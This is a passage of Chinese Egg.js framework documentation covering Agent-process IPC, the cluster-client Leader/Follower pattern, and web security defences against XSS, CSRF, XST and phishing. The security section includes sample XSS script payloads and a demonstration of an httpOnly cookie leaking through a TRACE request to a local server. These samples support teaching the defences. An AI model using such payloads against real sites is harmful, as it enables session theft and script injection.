现在我们来看看如何实现第三个方案。我们需要一个消息中间件的客户端。它会和服务端维持长连接，适合在 Agent 进程上运行。这可以有效降低连接数，减少两端的消耗。所以我们在 Agent 进程上开启消息监听。

```js
// agent.js

const Subscriber = require('./lib/subscriber');

module.exports = (agent) => {
  const subscriber = new Subscriber();
  // 监听变更事件，广播到所有 workers
  subscriber.on('changed', () => agent.messenger.sendToApp('refresh', 'push'));
};
```

通过合理使用 Agent 进程、定时任务和 IPC，我们可以轻松搞定类似的需求。同时也可降低对数据源的压力。具体的示例代码可以查看 [examples/ipc](https://github.com/eggjs/examples/tree/master/ipc)。

## 更复杂的场景

在上面的例子中，我们在 Agent 进程上运行了一个 subscriber，来监听消息中间件的消息。如果 Worker 进程也需要监听一些消息怎么办？如何通过 Agent 进程建立连接，再转发给 Worker 进程呢？这些问题可以在 [多进程模型增强](../advanced/cluster-client.md) 文档中找到答案。

---

---
url: /zh-CN/advanced/cluster-client.md
---
# 多进程研发模式增强

在前面的 [多进程模型章节](../core/cluster-and-ipc.md) 中，我们详细讲述了框架的多进程模型。适合使用 Agent 进程的，有一类常见的场景：一些中间件客户端需要和服务器建立长连接。理论上，一台服务器最好只建立一个长连接，但多进程模型会导致 n 倍（n = Worker 进程数）的连接被创建。

```bash
+--------+   +--------+
| Client |   | Client |   ... n
+--------+   +--------+
    |  \     /   |
    |    \ /     |        n * m 个链接
    |    / \     |
    |  /     \   |
+--------+   +--------+
| Server |   | Server |   ... m
+--------+   +--------+
```

为了尽可能地复用长连接（因为它们对于服务端来说是非常宝贵的资源），我们会把它放到 Agent 进程里维护，然后通过 messenger 将数据传递给各个 Worker。这种做法是可行的，但往往需要写大量代码去封装接口和实现数据的传递，非常麻烦。

另外，通过 messenger 传递数据效率较低，因为它会通过 Master 来做中转；万一 IPC 通道出现问题，还可能把 Master 进程弄挂。

那么有没有更好的方法呢？答案是肯定的，我们提供了一种新的模式来降低这类客户端封装的复杂度。通过建立 Agent 和 Worker 的 socket 直连，跳过 Master 的中转，Agent 作为对外的门面，维持多个 Worker 进程的共享连接。

## 核心思想

* 受到 [Leader/Follower](https://www.dre.vanderbilt.edu/~schmidt/PDF/lf.pdf) 模式的启发。
* 客户端会被区分为两种角色：
  * Leader：负责和远程服务端维持连接，对于同一类的客户端只有一个 Leader。
  * Follower：会将具体的操作委托给 Leader，常见的是订阅模型（让 Leader 和远程服务端交互，并等待其返回）。
* 如何确定谁是 Leader，谁是 Follower 呢？有两种模式：
  * 自由竞争模式：客户端启动时通过本地端口的争夺来确定 Leader。例如：大家都尝试监听 7777 端口，最后只有一个实例抢占到，那它就变成了 Leader，其余的都是 Follower。
  * 强制指定模式：框架指定某一个 Leader，其余的就是 Follower。
* 框架里面我们采用的是强制指定模式，Leader 只能在 Agent 里面创建，这也符合我们对 Agent 的定位。
* 框架启动时，Master 会随机选择一个可用的端口作为 Cluster Client 监听的通讯端口，并将它通过参数传递给 Agent 和 App Worker。
* Leader 和 Follower 之间通过 socket 直连（通过通讯端口），不再需要 Master 中转。

新的模式下，客户端的通信方式如下：

```js
             +-------+
             | start |
             +---+---+
                 |
        +--------+---------+
      __| 端口竞争         |__
win /   +------------------+  \ lose
   /                           \
+---------------+     tcp 连接   +-------------------+
| Leader(Agent) |<---------------->| Follower(Worker1) |
+---------------+                  +-------------------+
    |            \ tcp 连接
    |             \
+--------+         +-------------------+
| Client |         | Follower(Worker2) |
+--------+         +-------------------+
```

## 客户端接口类型抽象

我们将客户端接口抽象为以下两大类，这也是对客户端接口的一个规范，对于符合规范的客户端，我们可以自动将其包装为 Leader/Follower 模式。

* 订阅、发布类（subscribe / publish）：
  * `subscribe(info, listener)` 接口包含两个参数，第一个是订阅的信息，第二个是订阅的回调函数。
  * `publish(info)` 接口包含一个参数，即订阅的信息。

* 调用类（invoke），支持 `callback`，`Promise` 和 `async function` 三种风格的接口，但是推荐使用 `async function`。

客户端示例

```js
const { Base } = require('sdk-base');

class Client extends Base {
  constructor(options) {
    super(options);
    // 在初始化成功后，记得要调用 ready
    this.ready(true);
  }

  /**
   * 订阅
   *
   * @param {Object} info - 订阅的信息（一个 JSON 对象，注意尽量不包含 Function、Buffer、Date 这类属性）
   * @param {Function} listener - 监听的回调函数，它接收一个参数，就是监听到的结果对象。
   */
  subscribe(info, listener) {
    // ...
  }

  /**
   * 发布
   *
   * @param {Object} info - 发布的信息，与 subscribe 方法中的 info 类似。
   */
  publish(info) {
    // ...
  }

  /**
   * 获取数据（invoke）
   *
   * @param {String} id - ID
   * @return {Object} - 结果对象
   */
  async getData(id) {
    // ...
  }
}
```

## 异常处理

* 如果 Leader 实例“死掉”，将触发新一轮的端口争夺。争夺到端口的实例将被推举为新的 Leader。
* 为了保证 Leader 和 Follower 之间通道的健康，需要引入定时的心跳检查机制。如果 Follower 在固定时间内未发送心跳包，Leader 会将其主动断开，以触发 Follower 的重新初始化。

## 协议和调用时序

Leader 和 Follower 通过下面的协议进行数据交换：

```js
 0       1       2               4                                                              12
 +-------+-------+---------------+---------------------------------------------------------------+
 | version | req/res |    reserved   |                          request id                           |
 +-------------------------------+-------------------------------+-------------------------------+
 |           timeout            |   connection object length  |   application object length   |
 +-------------------------------+---------------------------------------------------------------+
 |         conn object (JSON format)  ...                    |            app object             |
 +-----------------------------------------------------------+                                   |
 |                                          ...                                                  |
 +-----------------------------------------------------------------------------------------------+
```

1. 在通讯端口上，Leader 启动一个 Local Server，所有的 Leader/Follower 通讯都经过 Local Server。
2. Follower 连接上 Local Server 后，首先发送一个 register channel 的 packet（引入 channel 的概念是为了区分不同类型的客户端）。
3. Local Server 会将 Follower 分配给指定的 Leader（根据客户端类型进行配对）。
4. Follower 向 Leader 发送订阅、发布请求。
5. Leader 在订阅数据变更时，通过 subscribe result packet 通知 Follower。
6. Follower 向 Leader 发送调用请求，Leader 收到后执行相应操作并返回结果。

```js
 +----------+             +---------------+          +---------+
 | Follower |             |  Local Server |          |  Leader |
 +----------+             +---------------+          +---------+
      |     register channel     |       assign to        |
      + -----------------------> |  --------------------> |
      |                          |                        |
      |                             subscribe             |
      + ------------------------------------------------> |
      |                             publish               |
      + ------------------------------------------------> |
      |                                                   |
      |       subscribe result                            |
      | <------------------------------------------------ +
      |                                                   |
      |                             invoke                |
      + ------------------------------------------------> |
      |          invoke result                            |
      | <------------------------------------------------ +
      |                                                   |
```

## 具体的使用方法

下面我用一个简单的例子，介绍在框架里面如何让一个客户端支持 Leader/Follower 模式：

* 第一步，我们的客户端最好是符合上面提到过的接口约定，例如：

```js
// registry_client.js
const { parse } = require('node:url');
const { Base } = require('sdk-base');

class RegistryClient extends Base {
  constructor(options) {
    super({
      // 指定异步启动的方法
      initMethod: 'init',
    });
    this._options = options;
    this._registered = new Map();
  }

  /**
   * 启动逻辑
   */
  async init() {
    this.ready(true);
  }

  /**
   * 获取配置
   * @param {String} dataId - 数据 ID
   * @return {Object} 配置
   */
  async getConfig(dataId) {
    return this._registered.get(dataId);
  }

  /**
   * 订阅
   * @param {Object} reg
   *   - {String} dataId - 数据 ID
   * @param {Function} listener - 监听器函数
   */
  subscribe(reg, listener) {
    const key = reg.dataId;
    this.on(key, listener);

    const data = this._registered.get(key);
    if (data) {
      process.nextTick(() => listener(data));
    }
  }

  /**
   * 发布
   * @param {Object} reg
   *   - {String} dataId - 数据 ID
   *   - {String} publishData - 要发布的数据
   */
  publish(reg) {
    const key = reg.dataId;
    let changed = false;

    if (this._registered.has(key)) {
      const arr = this._registered.get(key);
      if (arr.indexOf(reg.publishData) === -1) {
        changed = true;
        arr.push(reg.publishData);
      }
    } else {
      changed = true;
      this._registered.set(key, [reg.publishData]);
    }
    if (changed) {
      this.emit(
        key,
        this._registered.get(key).map((url) => parse(url, true)),
      );
    }
  }
}

module.exports = RegistryClient;
```

* 第二步，使用 `agent.cluster` 接口对 `RegistryClient` 进行封装：

```js
// agent.js
const RegistryClient = require('./registry_client');

module.exports = (agent) => {
  // 对 RegistryClient 进行封装和实例化
  agent.registryClient = agent
    .cluster(RegistryClient)
    // create 方法的参数就是 RegistryClient 构造函数的参数
    .create({});

  agent.beforeStart(async () => {
    await agent.registryClient.ready();
    agent.coreLogger.info('注册客户端已就绪');
  });
};
```

* 第三步，使用 `app.cluster` 接口对 `RegistryClient` 进行封装：

```js
// app.js
const RegistryClient = require('./registry_client');

module.exports = (app) => {
  app.registryClient = app.cluster(RegistryClient).create({});
  app.beforeStart(async () => {
    await app.registryClient.ready();
    app.coreLogger.info('注册客户端已就绪');

    // 调用 subscribe 进行订阅
    app.registryClient.subscribe(
      {
        dataId: 'demo.DemoService',
      },
      (val) => {
        // ...
      },
    );

    // 调用 publish 发布数据
    app.registryClient.publish({
      dataId: 'demo.DemoService',
      publishData: 'xxx',
    });

    // 调用 getConfig 获取配置
    const res = await app.registryClient.getConfig('demo.DemoService');
    console.log(res);
  });
};
```

是不是很简单？

当然，如果你的客户端不是那么“标准”，那你可能需要用到其他一些 API，比如你的订阅函数不叫 `subscribe` 而是叫 `sub`：

```js
class MockClient extends Base {
  constructor(options) {
    super({
      initMethod: 'init',
    });
    this._options = options;
    this._registered = new Map();
  }

  async init() {
    this.ready(true);
  }

  sub(info, listener) {
    const key = info.dataId;
    this.on(key, listener);

    const data = this._registered.get(key);
    if (data) {
      process.nextTick(() => listener(data));
    }
  }

  // ...
}
```

你需要通过 `delegate`（API 代理）手动设置这个委托：

```js
// agent.js
module.exports = (agent) => {
  agent.mockClient = agent
    .cluster(MockClient)
    // 将 sub 代理到 subscribe
    .delegate('sub', 'subscribe')
    .create();

  agent.beforeStart(async () => {
    await agent.mockClient.ready();
  });
};
```

```js
// app.js
module.exports = (app) => {
  app.mockClient = app
    .cluster(MockClient)
    // 将 sub 代理到 subscribe
    .delegate('sub', 'subscribe')
    .create();

  app.beforeStart(async () => {
    await app.mockClient.ready();

    app.mockClient.sub({ id: 'test-id' }, (val) => {
      // 请把你的代码放在这里
    });
  });
};
```

我们已经理解，通过 `cluster-client` 可以让我们在不理解多进程模型的情况下开发“纯粹”的 `RegistryClient`，只负责和服务端进行交互，然后使用 `cluster-client` 进行简单的封装就可以得到一个支持多进程模型的 `ClusterClient`。这里的 `RegistryClient` 实际上是一个专门负责和远程服务通信进行数据通信的 `DataClient`。

大家可能已经发现，`ClusterClient` 同时带来了一些约束，如果想在各进程暴露同样的方法，那么 `RegistryClient` 上只能支持 sub/pub 模式以及异步的 API 调用。因为在多进程模型中所有的交互都必须经过 socket 通信，势必带来了这一约束。

假设我们要实现一个同步的 get 方法，订阅过的数据直接放入内存，使用 get 方法时直接返回。要怎么实现呢？而真实情况可能比这更复杂。

在这里，我们引入一个 `APIClient` 的最佳实践。对于有读取缓存数据等同步 API 需求的模块，在 `RegistryClient` 基础上再封装一个 `APIClient` 来实现这些与远程服务端交互无关的 API，暴露给用户使用的是这个 `APIClient` 的实例。

在 `APIClient` 内部实现上：

* 异步数据获取，通过调用基于 `ClusterClient` 的 `RegistryClient` 的 API 实现。
* 同步调用等与服务端无关的接口在 `APIClient` 上实现。由于 `ClusterClient` 的 API 已经抹平了多进程差异，所以在开发 `APIClient` 调用到 `RegistryClient` 时也无需关心多进程模型。

例如，在模块的 `APIClient` 中增加带缓存的 get 同步方法：

```js
// some-client/index.js
const cluster = require('cluster-client');
const RegistryClient = require('./registry_client');

class APIClient extends Base {
  constructor(options) {
    super(options);

    // options.cluster 用于给 Egg 的插件传递 app.cluster
    this._client = (options.cluster || cluster)(RegistryClient).create(options);
    this._client.ready(() => this.ready(true));

    this._cache = {};

    // subMap 的例子：
    // {
    //   foo: reg1,
    //   bar: reg2,
    // }
    const subMap = options.subMap;

    for (const key in subMap) {
      this.subscribe(subMap[key], (value) => {
        this._cache[key] = value;
      });
    }
  }

  subscribe(reg, listener) {
    this._client.subscribe(reg, listener);
  }

  publish(reg) {
    this._client.publish(reg);
  }

  get(key) {
    return this._cache[key];
  }
}

// 最终模块向外暴露这个 `APIClient`
module.exports = APIClient;
```

那么，我们就可以这样使用这个模块：

```js
// app.js 或 agent.js
const APIClient = require('some-client'); // 上文中的模块
module.exports = (app) => {
  const config = app.config.apiClient;
  app.apiClient = new APIClient(
    Object.assign({}, config, { cluster: app.cluster }),
  );
  app.beforeStart(async () => {
    await app.apiClient.ready();
  });
};

// config.${env}.js
exports.apiClient = {
  subMap: {
    foo: {
      id: '',
    },
    // bar...
  },
};
```

为了方便你封装 `APIClient`，在 `cluster-client` 模块中提供了一个 `APIClientBase` 基类，那么上文中的 `APIClient` 可以改写为：

```js
const APIClientBase = require('cluster-client').APIClientBase;
const RegistryClient = require('./registry_client');

class APIClient extends APIClientBase {
  // 返回原始的客户端类
  get DataClient() {
    return RegistryClient;
  }

  // 用于设置 cluster-client 相关参数，等同于 cluster 方法的第二个参数
  get clusterOptions() {
    return {
      responseTimeout: 120 * 1000,
    };
  }

  subscribe(reg, listener) {
    this._client.subscribe(reg, listener);
  }

  publish(reg) {
    this._client.publish(reg);
  }

  get(key) {
    return this._cache[key];
  }
}
```

总结一下：

```plaintext
+------------------------------------------------+
| APIClient                                      |
|       +----------------------------------------|
|       | ClusterClient                          |
|       |      +---------------------------------|
|       |      | RegistryClient                  |
+------------------------------------------------+
```

* `RegistryClient` - 负责和远端服务通讯，实现数据的存取，只支持异步 API，不关心多进程模型。
* `ClusterClient` - 通过 `cluster-client` 模块进行简单包装得到的客户端实例，负责自动抹平多进程模型的差异。
* `APIClient` - 内部调用 `ClusterClient` 做数据同步，无需关心多进程模型，用户最终使用的模块。API 通过此处暴露，支持同步和异步。

有兴趣的同学可以查看《增强多进程研发模式》讨论过程。

## 在框架里面 cluster-client 相关的配置项

```js
/**
 * @property {Number} responseTimeout - 响应超时，默认值为 60000
 * @property {Transcode} [transcode]
 *   - {Function} encode - 自定义序列化方法
 *   - {Function} decode - 自定义反序列化方法
 */
config.clusterClient = {
  responseTimeout: 60000,
};
```

| 配置项          | 类型     | 默认值          | 描述                                                                                                              |
| --------------- | -------- | --------------- | ----------------------------------------------------------------------------------------------------------------- |
| responseTimeout | number   | 60000（一分钟） | 全局的进程间通讯的超时时长，因为代理接口本身也有超时设置，所以不宜设置太短                                        |
| transcode       | function | 未设置（N/A）   | 进程间通讯的序列化方式，默认使用 [serialize-json](https://www.npmjs.com/package/serialize-json)，建议不要自行设置 |

上述表格为全局配置方式。如果你想为特定客户端单独设置，可以使用以下方法：

* 可以通过 `app/agent.cluster(ClientClass, options)` 的第二个参数 `options` 进行覆盖。

```js
app.registryClient = app
  .cluster(RegistryClient, {
    responseTimeout: 120 * 1000, // 这里传入的是与 cluster-client 相关的参数
  })
  .create({
    // 这里传入的是 RegistryClient 需要的参数
  });
```

* 也可以通过覆盖 `APIClientBase` 的 `clusterOptions` 这个 `getter` 属性。

```js
const APIClientBase = require('cluster-client').APIClientBase;
const RegistryClient = require('./registry_client');

class APIClient extends APIClientBase {
  get DataClient() {
    return RegistryClient;
  }

  get clusterOptions() {
    return {
      responseTimeout: 120 * 1000,
    };
  }

  // ...
}

module.exports = APIClient;
```

---

---
url: /zh-CN/core/security.md
---
# 安全

## Web 安全概念

Web 应用中存在很多安全风险，这些风险可能会被黑客利用。轻则篡改网页内容，重则窃取网站内部数据。更为严重的，则是在网页中植入恶意代码，使用户受到侵害。常见的安全漏洞包括：

* XSS 攻击：对 Web 页面注入脚本，使用 JavaScript 窃取用户信息，诱导用户操作。
* CSRF 攻击：伪造用户请求，向网站发起恶意请求。
* 钓鱼攻击：利用网站的跳转链接或者图片制造钓鱼陷阱。
* HTTP 参数污染：利用对参数格式验证不完善，对服务器进行参数注入攻击。
* 远程代码执行：用户通过浏览器提交执行命令。由于服务器端没有对执行函数做过滤，导致在没有指定绝对路径下执行命令。

框架本身针对 Web 端常见的安全风险，内置了丰富的解决方案：

* 利用 [extend](../basics/extend.md) 机制，扩展了 Helper API，提供了各种模板过滤函数，防止钓鱼或 XSS 攻击。
* 常见 Web 安全头的支持。
* CSRF 的防御方案。
* 灵活的安全配置，可以对不同的请求 url 进行匹配。
* 可定制的白名单，用于安全跳转和 url 过滤。
* 各种模板相关的工具函数做预处理。

框架内置了安全插件 [@eggjs/security](https://github.com/eggjs/egg/tree/master/plugins/security)，提供了默认的安全实践。

### 开启与关闭配置

注意：除非清楚地确认后果，否则不建议擅自关闭安全插件提供的功能。

框架的安全插件默认是开启的。如果想关闭其中一些安全防范，直接设置该项的 `enable` 属性为 false 即可。例如关闭 xframe 防范：

```js
exports.security = {
  xframe: {
    enable: false,
  },
};
```

### Match 和 Ignore

`match` 和 `ignore` 方法和格式，与 [中间件通用配置](../basics/middleware.md#match-和-ignore) 一致。

如果只想针对某个路径开启，可以配置 `match` 选项。例如，只对 `/example` 开启 CSP：

```js
exports.security = {
  csp: {
    match: '/example',
    policy: {
      // ...
    },
  },
};
```

如果需要针对某个路径忽略某安全选项，则配置 `ignore` 选项。比如，为了合作商户能够嵌入我们的页面，针对 `/example` 关闭 xframe：

```js
exports.security = {
  csp: {
    ignore: '/example',
    xframe: {
      // ...
    },
  },
};
```

如果要针对内部 IP 关闭部分安全防范：

```js
exports.security = {
  csrf: {
    // 判断是否需要 ignore 的方法，请求上下文 `context` 作为第一个参数
    ignore: (ctx) => isInnerIp(ctx.ip),
  },
};
```

下面将针对具体的场景，来讲解如何使用框架提供的安全方案进行 Web 安全防范。

***

## 安全威胁 XSS 的防范

[XSS](https://www.owasp.org/index.php/Cross-site_Scripting_\(XSS\))（Cross-Site Scripting，跨站脚本攻击）攻击是最常见的 Web 攻击，其重点是“跨域”和“客户端执行”。

XSS 攻击一般分为两类：

* Reflected XSS（反射型的 XSS 攻击）
* Stored XSS（存储型的 XSS 攻击）

### Reflected XSS

反射型的 XSS 攻击，主要是由服务端接收到客户端的不安全输入，在客户端触发执行从而发起 Web 攻击。比如：

在某购物网站搜索物品，搜索结果会显示搜索的关键词。搜索关键词填入 `<script>alert('handsome boy')</script>`，点击搜索。页面没有对关键词进行过滤，这段代码就会直接在页面上执行，弹出 alert。

#### 防范方式

框架提供了 `helper.escape()` 方法对字符串进行 XSS 过滤。

```js
const str = '><script>alert("abc")</script><';
console.log(ctx.helper.escape(str));
// => &gt;&lt;script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;
```

当网站需要直接输出用户输入的结果时，请务必使用 `helper.escape()` 包裹起来，如在 [@eggjs/view-nunjucks](https://github.com/eggjs/egg/tree/master/plugins/view-nunjucks) 里面就覆盖掉了内置的 `escape`。

另外一种情况，网站输出的内容会提供给 JavaScript 来使用。这个时候需要使用 `helper.sjs()` 来进行过滤。

`helper.sjs()` 用于在 JavaScript（包括 onload 等 event）中输出变量，会对变量中字符进行 JavaScript ENCODE，将所有非白名单字符转义为 `\x` 形式，防止 XSS 攻击，也确保在 js 中输出的正确性。使用实例：

```js
const foo = '"hello"';

// 未使用 sjs
console.log(`var foo = "${foo}";`);
// => var foo = ""hello"";

// 使用 sjs
console.log(`var foo = "${ctx.helper.sjs(foo)}";`);
// => var foo = "\\x22hello\\x22";
```

还有一种情况，有时候我们需要在 JavaScript 中输出 json，若未做转义，易被利用为 XSS 漏洞。框架提供了 `helper.sjson()` 宏做 json encode，会遍历 json 中的 key，将 value 的值中，所有非白名单字符转义为 `\x` 形式，防止 XSS 攻击。同时保持 json 结构不变。
若存在模板中输出一个 JSON 字符串给 JavaScript 使用的场景，请使用 `helper.sjson(变量名)` 进行转义。

**处理过程较复杂，性能损耗较大，请仅在必要时使用。**

实例：

```html
<script>
  window.locals = {{ helper.sjson(locals) }};
</script>
```

### Stored XSS

基于存储的 XSS 攻击，是通过提交带有恶意脚本的内容存储在服务器上，当其他人查看这些内容时发起 Web 攻击。一般提交的内容都是通过一些富文本编辑器编辑的，很容易插入危险代码。

#### 防范方式

框架提供了 `helper.shtml()` 方法对字符串进行 XSS 过滤。

注意，将富文本（包含 HTML 代码的文本）当成变量直接在模板里面输出时，需要用到 shtml 来处理。
使用 shtml 可以输出 HTML 的 tag，同时执行 XSS 的过滤动作，过滤掉非法的脚本。

**由于是一个非常复杂的安全处理过程，对服务器处理性能有一定影响，如果不是输出 HTML，请勿使用。**

简单示例：

```js
// js
const value = `<a href="http://www.domain.com">google</a><script>evilcode…</script>`;
```

```html
<!-- 模板 -->
<html>
  <body>
    {{ helper.shtml(value) }}
  </body>
</html>
<!-- 输出为： -->
<a href="http://www.domain.com">google</a>&lt;script&gt;evilcode…&lt;/script&gt;
```

`shtml` 在 [xss](https://github.com/leizongmin/js-xss/) 模块基础上增加了针对域名的过滤。使用了严格的白名单机制，除了过滤掉 XSS 风险的字符串外，在 [默认规则](https://github.com/leizongmin/js-xss/blob/master/lib/default.js) 之外的 tag 和 attr 都会被过滤掉。

例如，HTML 标签就不在白名单中，所以输出为空：

```js
const html = '<html></html>';

// html
{
  {
    helper.shtml(html);
  }
}

// 输出为空
```

常见的 `data-xx` 属性由于不在白名单中，所以都会被过滤。因此，在使用 shtml 时需要注意其适用场景，一般是针对来自用户的富文本输入。切不可以滥用 shtml，否则可能既受到功能限制，又会影响服务端性能。
此类场景一般存在于论坛、评论系统等。即便是这样的系统，如果不支持 HTML 内容输入，也不要使用此 Helper，直接使用 `escape` 即可。

### JSONP XSS

JSONP 的 callback 参数非常危险，它有两种风险可能导致 XSS：

1. callback 参数意外截断 js 代码，特殊字符单引号、双引号、换行符均存在风险。
2. callback 参数恶意添加标签（如 `<script>`），造成 XSS 漏洞。

参考 [JSONP 安全攻防](http://blog.knownsec.com/2015/03/jsonp_security_technic/)。

框架内部使用 [jsonp-body](https://github.com/node-modules/jsonp-body) 来对 JSONP 请求进行安全防范。

防御内容：

* callback 函数名称最长 50 个字符限制
* callback 函数名只允许 `[`、`]`、`a-zA-Z0123456789_`、`$`、`.`，防止一般的 XSS、utf-7 XSS 等攻击。

可定义配置：

* callback 默认值为 `_callback`，可以重命名。
* limit - 函数名称 length 限制，默认为 50。

### 其他 XSS 的防范方式

浏览器自身具有一定针对各种攻击的防范能力，它们一般是通过开启 Web 安全头生效的。框架内置了一些常见的 Web 安全头的支持。

#### CSP

W3C 的 Content Security Policy（内容安全策略），简称 CSP，主要用来定义页面可以加载哪些资源，减少 XSS 的发生。

框架内支持 CSP 的配置，不过默认关闭，开启后可以有效地防止 XSS 攻击的发生。要配置 CSP，需要对 CSP 的政策有一定了解，具体细节可以参考 [CSP 是什么](https://www.zhihu.com/question/21979782)。

#### X-Download-Options:noopen

默认开启，禁用 IE 下载框的 Open 按钮，防止 IE 下载文件时默认被打开造成 XSS。

#### X-Content-Type-Options:nosniff

默认开启，禁用 IE8 的自动嗅探 MIME 功能，例如将 `text/plain` 错误地作为 `text/html` 渲染，特别是当站点提供的内容未必可信时。

#### X-XSS-Protection

IE 提供的一些 XSS 检测与防范机制，默认开启。

* close 默认值为 false，即设置为 `1; mode=block`。

## 安全威胁 CSRF 的防范

[CSRF](https://www.owasp.org/index.php/CSRF)（Cross-site request forgery 跨站请求伪造），也被称为 `One Click Attack` 或者 `Session Riding`，通常缩写为 CSRF 或者 XSRF，是一种对网站的恶意利用。CSRF 攻击会发起恶意伪造的请求，严重影响网站的安全。因此，框架内置了 CSRF 防范方案。

### 防范方式

通常来说，对 CSRF 攻击有一些通用的[防范方案](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)，简单介绍几种常用防范方案：

* Synchronizer Tokens：通过响应页面时，将 token 渲染到页面上。在 form 表单提交时，通过隐藏域提交 token。
* Double Cookie Defense：在 Cookie 中设置 token，并在提交(比如 POST、PUT、PATCH、DELETE 等请求)时同时提交 Cookie，并通过 header 或 body 发送与 Cookie 中的 token，服务端进行对比校验。
* Custom Header：信任带有特定的 header（比如 `X-Requested-With: XMLHttpRequest`）的请求。因为这个方案可以被绕过，像 rails 和 django 等框架都[放弃了该防范方式](https://www.djangoproject.com/weblog/2011/feb/08/security/)。

框架结合了这些防范方式，提供了一个可配置的 CSRF 防范策略。

#### 使用方式

##### 同步表单的 CSRF 校验

在同步渲染页面时，在表单请求中增加一个名为 `_csrf` 的 url query，其值为 `ctx.csrf`。这样用户在提交这个表单时会将 CSRF token 提交上来：

```html
<form
  method="POST"
  action="/upload?_csrf={{ ctx.csrf | safe }}"
  enctype="multipart/form-data"
>
  title: <input name="title" /> file: <input name="file" type="file" />
  <button type="submit">上传</button>
</form>
```

可以在配置中修改传递 CSRF token 的字段：

```js
// config/config.default.js
module.exports = {
  security: {
    csrf: {
      queryName: '_csrf', // 通过 query 传递 CSRF token 的默认字段为 _csrf
      bodyName: '_csrf', // 通过 body 传递 CSRF token 的默认字段为 _csrf
    },
  },
};
```

为防范 [BREACH 攻击](http://breachattack.com/)，通过同步方式渲染到页面上的 CSRF token 在每次请求时都会变化。[@eggjs/view-nunjucks](https://github.com/eggjs/egg/tree/master/plugins/view-nunjucks) 等视图插件会自动对表单进行注入，开发者无需关心。

##### AJAX 请求

在 CSRF 默认配置下，token 会被设置在 Cookie 中。在 AJAX 请求时，可以从 Cookie 中获得 token，并将其放置于 query、body 或者 header 中发送服务端。

在 jQuery 中：

```js
var csrftoken = Cookies.get('csrfToken');

function csrfSafeMethod(method) {
  // 以下 HTTP 方法不需要 CSRF 保护
  return /^(GET|HEAD|OPTIONS|TRACE)$/.test(method);
}
$.ajaxSetup({
  beforeSend: function (xhr, settings) {
    if (!csrfSafeMethod(settings.type) && !this.crossDomain) {
      xhr.setRequestHeader('x-csrf-token', csrftoken);
    }
  },
});
```

通过 header 传递 CSRF token 的字段也可以在配置中修改：

```js
// config/config.default.js
module.exports = {
  security: {
    csrf: {
      headerName: 'x-csrf-token', // 通过 header 传递 CSRF token 的默认字段为 x-csrf-token
    },
  },
};
```

#### Session 与 Cookie 存储

默认配置下，框架会将 CSRF token 存在 Cookie 中，便于 AJAX 请求获取。但由于所有子域名均能设置 Cookie，因此当不能保证所有子域名都受控时，存放在 Cookie 中可能存在 CSRF 攻击风险。框架提供配置项，允许将 token 存放到 Session 中。

```js
// config/config.default.js
module.exports = {
  security: {
    csrf: {
      useSession: true, // 默认为 false，当设置为 true 时，将把 csrf token 保存到 Session 中
      cookieName: 'csrfToken', // Cookie 中的字段名，默认为 csrfToken
      sessionName: 'csrfToken', // Session 中的字段名，默认为 csrfToken
    },
  },
};
```

#### 忽略 JSON 请求（已废弃）

**注意：该选项已废弃，攻击者可以[通过 flash + 307 来攻破](https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/)。请不要在生产环境中开启该选项！**

在 SOP（同源策略）保护下，大部分现代浏览器不允许跨域发起 content-type 为 JSON 的请求，因此可以将此类型的 JSON 格式请求放行。

```js
// config/config.default.js
module.exports = {
  security: {
    csrf: {
      ignoreJSON: true, // 默认为 false，设置为 true 时，会忽略所有 content-type 为 `application/json` 的请求
    },
  },
};
```

#### 刷新 CSRF token

当 CSRF token 储存在 Cookie 中时，若在同一浏览器上发生用户切换，则新登录用户将使用旧 token（前一用户的），造成安全风险，故每次用户登录时**必须刷新 CSRF token**。

```js
// 登录控制器
exports.login = function* (ctx) {
  const { username, password } = ctx.request.body;
  const user = yield ctx.service.user.find({ username, password });
  if (!user) ctx.throw(403);
  ctx.session = { user };

  // 调用 rotateCsrfSecret 刷新 CSRF token
  ctx.rotateCsrfSecret();

  ctx.body = { success: true };
};
```

## 安全威胁 XST 的防范

[XST](https://www.owasp.org/index.php/XST) 的全称是 Cross-Site Tracing（跨站追踪）。客户端发起 TRACE 请求至服务器，如果服务器标准地实现了 TRACE 响应，则在响应体中会返回此次请求的完整头信息。通过这种方式，客户端可以获取某些敏感的头字段，例如 httpOnly 的 Cookie。

下面我们基于 Koa 来实现一个简单的支持 TRACE 方法的服务器：

```javascript
var koa = require('koa');
var app = koa();

app.use(function* (next) {
  this.cookies.set('a', 1, { httpOnly: true });
  if (this.method === 'TRACE') {
    var body = '';
    for (var header in this.headers) {
      body += header + ': ' + this.headers[header] + '\r\n';
    }
    this.body = body;
  }
  yield* next;
});

app.listen(7001);
```

启动服务后，先发送 GET 请求 `curl -i http://127.0.0.1:7001`，可以看到如下响应：

```
HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Date: Thu, 06 Nov 2014 05:04:42 GMT
Connection: keep-alive

OK
```

服务器设置了一个 httpOnly 的 Cookie 值为 `1`，在浏览器环境中无法通过脚本获取它。

接着我们发送 TRACE 请求到服务器 `curl -X TRACE -b a=1 -i http://127.0.0.1:7001`，并带上 Cookie，得到如下响应：

```
HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 73
Date: Thu, 06 Nov 2014 05:07:47 GMT
Connection: keep-alive

user-agent: curl/7.37.1
host: 127.0.0.1:7001
accept: */*
cookie: a=1
```

在响应体中可以看到完整的头信息，这样就绕过了 httpOnly 的限制，拿到了 `cookie=1`，造成了很大的安全风险。

### 拓展阅读

* [HTTP/1.1: Method Definitions](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html)
* [Cross-Site Tracing (XST) - The Misunderstood Vulnerability](http://deadliestwebattacks.com/2010/05/18/cross-site-tracing-xst-the-misunderstood-vulnerability/)

### 防范方式

框架已经禁止了 TRACE、TRACK、OPTIONS 三种危险类型的请求。

## 安全威胁 `钓鱼攻击` 的防范

钓鱼有多种方式，这里介绍 url 钓鱼、图片钓鱼和 iframe 钓鱼。

### url 钓鱼

服务端未对传入的跳转 url 变量进行检查和控制，可能导致可恶意构造任意一个恶意地址，诱导用户跳转到恶意网站。
